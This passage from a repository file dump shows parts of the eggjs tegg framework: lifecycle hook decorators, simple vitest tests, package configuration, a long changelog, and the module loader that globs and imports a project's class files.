    "content": "import type { EggProtoImplClass, LifecycleHookName } from '@eggjs/tegg-types';\n\nimport { LifecycleUtil } from '../LifycycleUtil.ts';\n\ntype LifecycleDecorator = () => (target: object, methodName: string) => void;\n\nfunction createLifecycle(hookName: LifecycleHookName): LifecycleDecorator {\n  return () => {\n    return function (target: object, methodName: string): void {\n      const clazz = target.constructor as EggProtoImplClass;\n      LifecycleUtil.setLifecycleHook(methodName, hookName, clazz);\n    };\n  };\n}\n\ntype LifecycleStaticDecorator = () => (target: EggProtoImplClass, methodName: string) => void;\n\nfunction createStaticLifecycle(hookName: LifecycleHookName): LifecycleStaticDecorator {\n  return () => {\n    return function (target: EggProtoImplClass, methodName: string): void {\n      if (typeof target !== 'function') {\n        throw new Error(`${hookName} must be a static function`);\n      }\n      LifecycleUtil.setLifecycleHook(methodName, hookName, target);\n    };\n  };\n}\n\nexport const LifecyclePostConstruct: LifecycleDecorator = createLifecycle('postConstruct');\nexport const LifecyclePreInject: LifecycleDecorator = createLifecycle('preInject');\nexport const LifecyclePostInject: LifecycleDecorator = createLifecycle('postInject');\nexport const LifecycleInit: LifecycleDecorator = createLifecycle('init');\nexport const LifecyclePreDestroy: LifecycleDecorator = createLifecycle('preDestroy');\nexport const LifecycleDestroy: LifecycleDecorator = createLifecycle('destroy');\nexport const LifecyclePreLoad: LifecycleStaticDecorator = createStaticLifecycle('preLoad');\n"
  },
  {
    "path": "tegg/core/lifecycle/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/lifecycle';\n\nexport * from './LifycycleUtil.ts';\nexport * from './IdenticalObject.ts';\nexport * from './decorator/index.ts';\n"
  },
  {
    "path": "tegg/core/lifecycle/test/IdenticalObject.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport { IdenticalUtil } from '../src/index.ts';\n\ndescribe('test/IdenticalObject.test.ts', () => {\n  it('should generate unique ctx id', () => {\n    const traceId = 'mock_trace_id';\n    const id1 = IdenticalUtil.createContextId(traceId);\n    const id2 = IdenticalUtil.createContextId(traceId);\n    expect(id1).not.toBe(id2);\n  });\n\n  it('should generate unique ctx id', () => {\n    const id1 = IdenticalUtil.createContextId();\n    const id2 = IdenticalUtil.createContextId();\n    expect(id1).not.toBe(id2);\n  });\n});\n"
  },
  {
    "path": "tegg/core/lifecycle/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"IdenticalUtil\": [Function],\n  \"LifecycleDestroy\": [Function],\n  \"LifecycleInit\": [Function],\n  \"LifecyclePostConstruct\": [Function],\n  \"LifecyclePostInject\": [Function],\n  \"LifecyclePreDestroy\": [Function],\n  \"LifecyclePreInject\": [Function],\n  \"LifecyclePreLoad\": [Function],\n  \"LifecycleUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/lifecycle/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/lifecycle/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/lifecycle/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/loader/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n\n### Bug Fixes\n\n* always get extension from Module._extensions ([#211](https://github.com/eggjs/tegg/issues/211)) ([62e9c06](https://github.com/eggjs/tegg/commit/62e9c06f3cbde28d17d0e43797d4080279d7b9fa))\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n\n### Bug Fixes\n\n* fix dao extension in prod ([#206](https://github.com/eggjs/tegg/issues/206)) ([0498e9d](https://github.com/eggjs/tegg/commit/0498e9d11bd9e4d186160e8b6af07e627dde6a20))\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n\n### Bug Fixes\n\n* loader should not deps metadata ([#94](https://github.com/eggjs/tegg/issues/94)) ([ff57de4](https://github.com/eggjs/tegg/commit/ff57de4f3e0d0dc33d77d05a887242fcb4c32024))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-loader\n"
  },
  {
    "path": "tegg/core/loader/README.md",
    "content": "# `@eggjs/tegg-loader`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tegg-loader.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tegg-loader.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tegg-loader\n[snyk-image]: https://snyk.io/test/npm/@eggjs/tegg-loader/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/tegg-loader\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tegg-loader.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tegg-loader\n\n# Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/loader/package.json",
    "content": "{\n  \"name\": \"@eggjs/tegg-loader\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg default loader implement\",\n  \"keywords\": [\n    \"egg\",\n    \"loader\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/loader\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/loader\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"globby\": \"catalog:\",\n    \"is-type-of\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/src/LoaderFactory.ts",
    "content": "import { PrototypeUtil } from '@eggjs/core-decorator';\nimport type { ModuleDescriptor } from '@eggjs/metadata';\nimport {\n  EggLoadUnitType,\n  type EggLoadUnitTypeLike,\n  type EggProtoImplClass,\n  type Loader,\n  type ModuleReference,\n} from '@eggjs/tegg-types';\n\nexport type LoaderCreator = (unitPath: string) => Loader;\n\nexport class LoaderFactory {\n  private static loaderCreatorMap: Map<EggLoadUnitTypeLike, LoaderCreator> = new Map();\n\n  static createLoader(unitPath: string, type: EggLoadUnitTypeLike): Loader {\n    const creator = this.loaderCreatorMap.get(type);\n    if (!creator) {\n      throw new Error(`not find creator for loader type ${type}`);\n    }\n    return creator(unitPath);\n  }\n\n  static registerLoader(type: EggLoadUnitTypeLike, creator: LoaderCreator): void {\n    this.loaderCreatorMap.set(type, creator);\n  }\n\n  static async loadApp(moduleReferences: readonly ModuleReference[]): Promise<ModuleDescriptor[]> {\n    const result: ModuleDescriptor[] = [];\n    const multiInstanceClazzList: EggProtoImplClass[] = [];\n    for (const moduleReference of moduleReferences) {\n      const loader = LoaderFactory.createLoader(\n        moduleReference.path,\n        moduleReference.loaderType || EggLoadUnitType.MODULE,\n      );\n      const res: ModuleDescriptor = {\n        name: moduleReference.name,\n        unitPath: moduleReference.path,\n        clazzList: [],\n        protos: [],\n        multiInstanceClazzList,\n        optional: moduleReference.optional,\n      };\n      result.push(res);\n      const clazzList = await loader.load();\n      for (const clazz of clazzList) {\n        if (PrototypeUtil.isEggPrototype(clazz)) {\n          res.clazzList.push(clazz);\n        } else if (PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n          res.multiInstanceClazzList.push(clazz);\n        }\n      }\n    }\n    return result;\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/src/LoaderUtil.ts",
    "content": "import BuiltinModule from 'node:module';\nimport { pathToFileURL } from 'node:url';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\nimport { isClass } from 'is-type-of';\n\n// Guard against poorly mocked module constructors.\nconst Module = globalThis.module?.constructor?.length > 1 ? globalThis.module.constructor : BuiltinModule;\n\ninterface LoaderUtilConfig {\n  extraFilePattern?: string[];\n}\n\nexport class LoaderUtil {\n  static config: LoaderUtilConfig = {};\n  static setConfig(config: LoaderUtilConfig): void {\n    this.config = config;\n  }\n\n  static supportExtensions(): string[] {\n    const extensions = Object.keys((Module as any)._extensions);\n    if (process.env.VITEST === 'true' && !extensions.includes('.ts')) {\n      extensions.push('.ts');\n    }\n    // Respect EGG_TS_ENABLE=false to disable TypeScript file loading\n    // (e.g., production deployment with compiled .js files)\n    if (process.env.EGG_TS_ENABLE === 'false') {\n      return extensions.filter((ext) => ext !== '.ts' && ext !== '.mts' && ext !== '.cts');\n    }\n    return extensions;\n  }\n\n  static get extension(): string {\n    return LoaderUtil.supportExtensions().includes('.ts') ? '.ts' : '.js';\n  }\n\n  static filePattern(): string[] {\n    const extensions = LoaderUtil.supportExtensions();\n    const extensionPattern = extensions\n      .map((t) => t.substring(1))\n      // JSON file will not export class\n      .filter((t) => t !== 'json')\n      .join('|');\n\n    const filePattern = [\n      // load file end with node module allow extensions\n      `**/*.(${extensionPattern})`,\n      // not load files in .xxx/\n      '!**/+(.*)/**',\n      // not load node module\n      '!**/node_modules',\n      // node load type definitions\n      '!**/*.d.ts',\n      // not load test/coverage files\n      '!**/test',\n      '!**/coverage',\n      // extra file pattern\n      ...(this.config.extraFilePattern || []),\n    ];\n\n    return filePattern;\n  }\n\n  static async loadFile(filePath: string): Promise<EggProtoImplClass[]> {\n    const originalFilePath = filePath;\n    if (process.platform === 'win32') {\n      // convert to file:// url\n      // avoid windows path issue: Only URLs with a scheme in: file, data, and node are supported by the default ESM loader. On Windows, absolute paths must be valid file:// URLs. Received protocol 'd:'\n      filePath = pathToFileURL(filePath).toString();\n    }\n    let exports;\n    try {\n      exports = await import(filePath);\n    } catch (e: any) {\n      console.trace('[tegg/loader] loadFile %s error:', filePath);\n      console.error(e);\n      throw new Error(`[tegg/loader] load ${filePath} failed: ${e.message}`, {\n        cause: e,\n      });\n    }\n    const clazzList: EggProtoImplClass[] = [];\n    const exportNames = Object.keys(exports);\n    for (const exportName of exportNames) {\n      const clazz = exports[exportName];\n      const isEggProto =\n        isClass(clazz) && (PrototypeUtil.isEggPrototype(clazz) || PrototypeUtil.isEggMultiInstancePrototype(clazz));\n      if (!isEggProto) {\n        continue;\n      }\n      // Correct FILE_PATH after async import, because decorators like @Schedule\n      // use StackUtil.getCalleeFromStack() which may return <anonymous> when\n      // modules are loaded via async import() (e.g., in vitest environment)\n      PrototypeUtil.setFilePath(clazz, originalFilePath);\n      clazzList.push(clazz);\n    }\n    return clazzList;\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/src/impl/ModuleLoader.ts",
    "content": "import path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport type { EggProtoImplClass, Loader } from '@eggjs/tegg-types';\nimport globby from 'globby';\n\nimport { LoaderFactory } from '../LoaderFactory.ts';\nimport { LoaderUtil } from '../LoaderUtil.ts';\n\nconst debug = debuglog('egg/tegg/loader/impl/ModuleLoader');\n\nexport class ModuleLoader implements Loader {\n  private readonly moduleDir: string;\n  private protoClazzList: EggProtoImplClass[];\n\n  constructor(moduleDir: string) {\n    this.moduleDir = moduleDir;\n  }\n\n  async load(): Promise<EggProtoImplClass[]> {\n    // optimize for EggModuleLoader\n    if (this.protoClazzList) {\n      return this.protoClazzList;\n    }\n    const protoClassList: EggProtoImplClass[] = [];\n    const filePattern = LoaderUtil.filePattern();\n\n    const files = await globby(filePattern, { cwd: this.moduleDir });\n    debug('load files: %o, filePattern: %o, moduleDir: %o', files, filePattern, this.moduleDir);\n    for (const file of files) {\n      const realPath = path.join(this.moduleDir, file);\n      const fileClazzList = await LoaderUtil.loadFile(realPath);\n      for (const clazz of fileClazzList) {\n        protoClassList.push(clazz);\n      }\n    }\n    this.protoClazzList = Array.from(new Set(protoClassList));\n    return this.protoClazzList;\n  }\n\n  static createModuleLoader(path: string): ModuleLoader {\n    return new ModuleLoader(path);\n  }\n}\n\nLoaderFactory.registerLoader('MODULE', ModuleLoader.createModuleLoader);\n"
  },
  {
    "path": "tegg/core/loader/src/impl/index.ts",
    "content": "export * from './ModuleLoader.ts';\n"
  },
  {
